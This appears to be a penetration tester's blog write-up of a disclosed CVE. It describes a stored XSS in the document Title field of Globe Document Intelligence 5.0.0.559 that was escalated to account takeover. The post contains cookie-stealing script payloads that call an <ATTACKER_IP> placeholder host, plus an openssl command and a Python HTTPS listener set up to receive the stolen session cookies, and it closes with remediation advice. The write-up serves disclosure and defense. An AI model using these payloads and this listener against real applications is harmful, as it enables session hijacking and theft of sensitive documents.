June 24, 2026
CVE-2025–65640: Escalating a Stored XSS to Account Takeover in Globe Document Intelligence
During a recent penetration testing engagement for a client at CryptoNet Labs, I discovered a Stored Cross-Site Scripting (XSS)…
By Vincenzo Emanuele Martone
4 min read
During a recent penetration testing engagement for a client at CryptoNet Labs, I discovered a Stored Cross-Site Scripting (XSS) vulnerability. By chaining this flaw with an on-the-fly exfiltration setup to bypass modern browser restrictions, I successfully escalated the attack to achieve a full Account Takeover (ATO).
Following responsible disclosure, the vulnerability was acknowledged and officially assigned CVE-2025–65640.
Disclaimer: To ensure client confidentiality, I will not be sharing any screenshots of the application's interface. The focus of this write-up is entirely on the technical exploitation, the vulnerable parameter, and the exfiltration methodology.
Target Overview: What is Globe Document Intelligence?
Globe Document Intelligence (developed by Arket) is an enterprise-grade software platform designed for document management, business process automation, and data archiving. Companies rely on Globe to manage highly sensitive corporate documents and internal workflows. Consequently, any vulnerability that allows an attacker to hijack an active session — especially an administrative one — carries a significant business impact.
Exploitation Phase
Now that the context of the target is clear, let's dive into the technical specifics of this CVE. We will begin by demonstrating the Stored XSS trigger on document creation, and then illustrate how an attacker can leverage this vulnerability — alongside a custom exfiltration server — to bypass browser restrictions and hijack an authenticated session.
Phase 1: The Trigger (Stored XSS)
The vulnerability affects version 5.0.0.559 and stems from a lack of input sanitization within the "Title" property of a newly created document.
To reproduce the vulnerability, an attacker can follow these steps:
- Document Creation: Navigate to the creation section (New document) and fill in the required fields to create a new record.
- Payload Injection: Select the newly created document, open the context menu (Right-Click -> Document Properties), and inject a standard payload into the "Title" field:
<script>alert("XSS")</script> - Storage: Save the changes. The payload is now persistently stored.
- Execution: The execution triggers when any authenticated user navigates to the "Task in progress / Recent" page. The application renders the document title without proper output encoding, executing the payload in the victim's browser.
While popping an alert box proves the vulnerability exists, my objective during this pentest was to demonstrate a realistic attack scenario by weaponizing the flaw to steal a session cookie.
Phase 2: The Mixed Content Hurdle
To exfiltrate the document.cookie, the standard approach is to force the victim's browser to send an HTTP GET request to an attacker-controlled server. My initial payload looked like this:
<script>
var i = new Image();
i.src = "http://<ATTACKER_IP>:8888/?cookie=" + document.cookie;
</script><script>
var i = new Image();
i.src = "http://<ATTACKER_IP>:8888/?cookie=" + document.cookie;
</script>However, because Globe Document Intelligence enforces HTTPS, my payload failed silently. Checking the browser console revealed a Mixed Content error. Modern browsers actively block requests made over unencrypted HTTP if the originating page is loaded over a secure HTTPS connection.
And just like that, the browser decided to ruin the fun.
To successfully extract the session token, I needed to set up an HTTPS listener on the fly.
Phase 3: Setting Up the Exfiltration Infrastructure
During a live engagement, speed is essential. I needed a quick HTTP listener with SSL support to catch the incoming request.
First, I generated a self-signed certificate using OpenSSL:
openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodesopenssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes(This command generates a private key and a self-signed certificate valid for 365 days, without requiring a passphrase).
Next, I quickly spun up a Python HTTPS server using the native ssl and http.server modules. As you will see in the terminal output below, I threw this together so fast that I used the deprecated ssl.wrap_socket() method. It triggered a warning, but it got the job done exactly when I needed it.
My on-the-fly server_https.py:
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
server_address = ('0.0.0.0', 8888)
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
keyfile="key.pem",
certfile="cert.pem",
server_side=True)
print("Server HTTPS in ascolto su porta 8888...")
httpd.serve_forever()from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
server_address = ('0.0.0.0', 8888)
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
keyfile="key.pem",
certfile="cert.pem",
server_side=True)
print("Server HTTPS in ascolto su porta 8888...")
httpd.serve_forever()A quick note on the output: You might notice some Italian text in the script (e.g., "in ascolto su porta 8888"). Since this PoC was quickly tailored during a live engagement for an Italian client, I didn't bother translating the terminal prints. In real-world pentesting, a working exploit always takes priority over localization!
Phase 4: Escalation to Account Takeover
With the HTTPS listener up and running, I modified my Stored XSS payload in the document's "Title" field to point to my newly created secure endpoint:
<script>
document.location="https://<ATTACKER_IP>:8888/?a=" + document.cookie;
</script><script>
document.location="https://<ATTACKER_IP>:8888/?a=" + document.cookie;
</script>As soon as a victim interacted with the application by navigating to the "Task in progress / Recent" page, their browser executed the script. Since the exfiltration request was now over HTTPS, the Mixed Content restriction was bypassed.
Checking my terminal on the attacking machine, I successfully captured the HTTP GET request containing the victim's session ID:
Gotcha. Bypassing the environmental restrictions and seeing that session token roll into the terminal is always a great feeling.
Tip: If you are reproducing this in a lab environment or writing a permanent tool, avoid the DeprecationWarning shown in my screenshot by using the modern SSLContext instead:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)By extracting theSessionIdfrom the logs and replacing my own cookie with it in the browser, I bypassed the authentication mechanism entirely. I now had full access to the victim's account and all the sensitive documents stored within their Globe environment.
Remediation & Conclusion
This vulnerability demonstrates how chaining a known flaw like Stored XSS with a quick exfiltration technique can lead to a severe impact like Account Takeover.
According to the vendor, this vulnerability has been addressed in version 5.1.0.575. To remediate this issue, it is highly recommended to update the Globe Document Intelligence platform to version 5.1.0.575.
From a development perspective, mitigating this relies on two core principles:
- Context-Aware Output Encoding: Ensure all user-supplied data (like the document Title) is properly HTML-encoded before rendering it in the DOM.
- HttpOnly Cookies: The ATO was possible because the session cookie was accessible via JavaScript. Setting the
HttpOnlyflag on session cookies preventsdocument.cookiefrom reading them.
You can find the full proof of concept and track the CVE on my GitHub repository here: CVE-2025–65640.